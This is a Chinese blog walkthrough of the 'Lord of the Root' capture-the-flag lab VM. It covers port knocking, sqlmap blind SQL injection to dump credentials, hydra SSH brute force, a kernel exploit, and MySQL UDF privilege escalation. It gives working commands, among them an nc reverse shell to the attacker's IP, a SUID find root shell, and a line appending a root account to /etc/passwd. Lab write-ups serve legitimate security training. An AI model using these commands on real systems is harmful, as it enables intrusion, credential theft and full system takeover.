首页 > 其他分享 >【原创】项目六 Load Of The Root

【原创】项目六 Load Of The Root

时间:2023-01-30 21:57:38浏览次数:52  
标签:Load 原创 -- 端口 http sys mysql heiyu Root

实战流程

新创建文件夹,在这个文件夹里进行操作

image-20221219143057926

nmap扫描下网段

image-20221219143411515

根据nmap逐个排查,发现目标主机,但只有22端口

image-20221219144307482

因此进一步扫描22端口的具体信息,没有扫出很有用的信息

image-20221219144608070

发现靶场又提示一个用户,因此直接通过用户名来ssh,发现需要敲击三次端口(就是端口试探)

image-20221219145057518

端口试探是啥?

端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。

如何进行端口碰撞?

首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。

1)第一种方法:knock 命令
linux安装:sudo apt install knockd

使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:
knock 10.211.55.11 1 2 3 -v


2)hping3:TCP/IP数据包组装/分析工具
hping3 -S [IP地址] -p 1 -c 1


hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1

hping3 -S 10.211.55.11 -p 3 -c 1

-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数

参考资料:https://blog.csdn.net/qq_30247635/article/details/86243448

梳理完毕,进行端口敲击

image-20221219155518337

敲击完成,然后全端口扫描,发现了个额外的端口1337开启状态

image-20221219160035660

访问该链接和端口,发现是一张图片,但没有发现该图片的有用信息

image-20221219160938546

手动访问robots.txt文件,发现另外一张图片

image-20221219161138438

查看源代码,发现base64

image-20221219161401910

hash-identifier识别一下该base64,发现无法识别

image-20221219161527849

再试试系统自带的base64的解码,发现解出来的是又是一段base64

image-20221219161710583

那就继续解码,爆出了一个目录

image-20221219161911657

拼接链接,用目录去访问,发现出来个登录页面!

image-20221219162003150

既然是登录框,那就先试试sql注入,使用sqlmap跑,发现一个盲注

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms

image-20221219162959534

然后进行注入,发现成功

image-20221219164542537

接下来报数据库名,因为是一个个字符匹配,因此需要等一会

image-20221219164834362

接收爆破出来的库名结果

image-20221219165238091

接下来试试能不能通过sqlmap直接拿shell,发现可行

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --os-shell

image-20221219165527877

发现写不进去,做了防护,只能继续爆库

image-20221219170102923

开始爆出表名Users

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables

image-20221219170752109

继续爆列名,需要等爆破后,获取结果

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns

image-20221219171828016

接下来继续获取字段值,通过爆破获取账号和密码,并记录到user.txt,passwd

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns -C id,password,username --dump

image-20221219174220529

user:
frodo
smeagol
aragorn
legolas
gimli

passwd:
iwilltakethering
MyPreciousR00t
AndMySword
AndMyBow
AndMyAxe

使用hydra进行端口爆破,发现账号和密码

hydra -L user.txt -P pass.txt 192.168.117.131 ssh

image-20221219175741801

接下来进行登陆

smeagol
MyPreciousR00t

image-20230113141826091

开启http服务

image-20230113142830301

靶机获取脚本

image-20230113143021129

进行赋权并执行

image-20230113143238925

发现主机上的漏洞

image-20230113153622796

另外发现缓冲区溢出文件

image-20230113162645575

寻找mysql,尝试用mysql提权;

image-20230113180644293

EXP内核提权

lsb_release -a

image-20230113183649728

谷歌搜索:Ubuntu 14.04 exploit

https://www.exploit-db.com/exploits/39166

searchsploit 39166

image-20230129164456734

cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/Desktop/lordof/

开启传输

python -m http.server 8081
wget http://10.211.55.19:8081/39166.c

image-20230129171805082

gcc 39166.c -o heiyu
chmod +x heiyu
./dayu
cd /root
cat Flag.txt:
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

image-20230129172057353


10、Mysql UDF提权

UDF提权先查看mysql版本!

dpkg -l | grep mysql   --查看历史安装包版本
5.5.44

查看mysql运行权限是不是root!

ps aux | grep mysql   ---查看mysql进程信息

image-20230129175532205

在寻找mysql账号密码!

find / -name login.*

发现信息:/var/www/978345210/login.php

image-20230129175916614

查看文件信息

grep "root" -rn 978345210/login.php

image-20230129180343154

获得mysql密码:
darkshadow

登录mysql:

mysql -uroot -pdarkshadow

首先看一下是否满足写入条件:

show global variables like 'secure%';

是可以进行UDF提权的!

image-20230129180502377

查看插件目录:
show variables like '%plugin%';
插件目录在:/usr/lib/mysql/plugin/

image-20230129180532441

查看能否远程登陆:

select user,host from user;

只能本地登录!

image-20230129180732012

MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在存储的最大信息量上不同外,他们是等同的。

MySQL的四种BLOB类型:
类型 大小(单位:字节)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G

可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so .

mv lib_mysqludf_sys_32.so heiyu.so

完成udf提权

mysql -uroot -pdarkshadow
use mysql
create table heiyu(heiyu longblob);
insert into heiyu values (load_file('/tmp/heiyu.so'));
select * from heiyu into dumpfile '/usr/lib/mysql/plugin/heiyu.so';
create function sys_exec returns string soname 'heiyu.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');

image-20230129182157131

find / -exec '/bin/sh' \;

提权成功

image-20230129182252281

拓展知识点(反弹shell):或者利用sys_exec、sys_eval

select sys_exec('nc -nv 10.211.55.19 6677 -e /bin/bash');

openssl passwd heiyu1
YpIR51FecR9AY
select sys_exec('echo "heiyu1:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash" >> /etc/passwd');

标签:Load,原创,--,端口,http,sys,mysql,heiyu,Root
From: https://www.cnblogs.com/heiyu-sec/p/17077333.html

相关文章

  • 【悲伤的Debug日志】Windows Anaconda 运行报错 ImportError: DLL load failed while
    今天在Windows10上安装Anaconda(Anaconda|AnacondaDistribution)。首次安装选择了“在所有用户上安装”,发现进入下一步时无法勾选“将Anaconda加入PATH环境变......
  • 关于Linux系统装包 无root权限
    折中方案也不失为一个方案这里主要列出几个参考的链接理论知识实际操作关于编译的过程中找不到链接库......
  • 【Amadeus原创】centos7安装docker
    ​1.installDocker.sh,然后自行安装#安装所需资源包sudoyuminstall-yyum-utils#设置docker下载地址sudoyum-config-manager\--add-repo\https://down......
  • 【Amadeus原创】MySQL8设置root用户远程访问
    1.查询当前root状态,默认root的host是localhostusemysql;selectuser,hostfromuser;2.updateroot的host为%updateusersethost='%'whereuser='root';3.检查客......
  • LoadRunner 中的Think Time 有什么作用?
    用户在执行连续操作之间等待的时间称为“思考时间”,它是决定对服务器施压大小的因素之一。设置思考时间,是为了更真实的模拟用户。Vuser 使用Lr_think_time函数来模拟用......
  • LoadRunner 脚本如何录制和编写?
    打开loadrunner的VirtualUserGenerator,新建脚本在弹出框中选择Web(HTTP/HTML)协议,然后点击创建按钮弹出startRecording窗口,选择对应的录制类型(InternetApplications......
  • WebUploader 前端大文件上传
    ​ 一、概述 所谓断点续传,其实只是指下载,也就是要从文件已经下载的地方开始继续下载。在以前版本的HTTP协议是不支持断点的,HTTP/1.1开始就支持了。一般断点下载时才用......
  • Docker 容器添加自定义root ca
    比如如果我们基于了step-ca工具做为我们的ca机制,就会有不可信的问题,业务使用就特别不方便了,以下是一个参考配置实际上很简单就是使用update-ca-certificates更新信息参......
  • jquery中的load()方法
    除了web框架中自带的工具外,jquery中使用load()防止前端代码重复导航,底部标签可以放在base文件中<divclass="include"file="base.html"></div><script>$(".include").eac......
  • 【MIT CS6.828】Lab 1: Booting a PC - Part 2: The Boot Loader
    Part2:TheBootLoader1.从BootLoader开始BOIS从磁盘读取BootLoader到指定内存区域0x7c00到0x7dff(512KB),然后执行jmp指令,跳转到BootLoader的第一条指令所在地址0x......